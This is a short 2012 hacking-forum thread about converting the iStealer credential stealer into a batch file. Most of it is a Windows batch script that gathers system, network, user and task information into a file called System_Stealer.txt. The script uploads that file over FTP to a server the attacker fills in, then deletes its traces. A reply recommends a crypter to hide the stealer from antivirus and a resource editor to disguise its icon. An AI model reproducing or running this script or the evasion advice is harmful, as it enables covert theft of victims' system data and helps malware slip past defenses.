Thread: [I need help converting my iStealer.exe into a .bat file.](#)

Firex1 - August 14, 2012, 5:41 pm

Is it possible to convert my iStealer.exe into a .bat file?

I have this code:

Code @echo off

color f7

echo @echo off >c:\1.SDS

echo OPEN "your ftp server here" >c:\2.SDS

echo USER "your username here" >c:\3.SDS

echo "your password here" >c:\4.SDS

echo send c:\System_Stealer.txt >c:\5.SDS

echo quit >c:\6.SDS

copy c:\1.SDS + c:\2.SDS + c:\3.SDS + c:\4.SDS + c:\5.SDS + c:\6.SDS c:\0.SDS

systeminfo >c:\system.txt

ipconfig /all >c:\ip.txt

mem >c:\memory.txt

net start >c:\programme.txt

ver >c:\build.txt

tlntadmn >c:\localhost.txt

net user >c:\networkusers.txt

tasklist >c:\programmelaufend.txt

schtasks >c:\taskname.txt

mountvol >c:\laufwerke.txt

echo %time% >c:\zeit.txt

echo %username >c:\user.txt

echo %date% >c:\datum.txt

copy c:\system.txt + c:\ip.txt + c:\memory.txt + c:\programme.txt + c:\build.txt + c:\localhost.txt + c:\networkusers.txt + c:\programmelaufend.txt + c:\taskname.txt + c:\laufwerke.txt + c:\zeit.txt + c:\datum.txt + c:\user.txt c:\System_Stealer.txt

http://ftp.exe -n -i -s:c:\0.SDS

del c:*.txt

del c:*.SDS

To crypt your istealer then use a crypter, secondly I don't think thats possible and even if it were why would you want to do that? To change the icon use resource hacker, it's pretty self explanatory.

Finally, forget iStealer it's very old and outdated and I doubt you will get any logs.
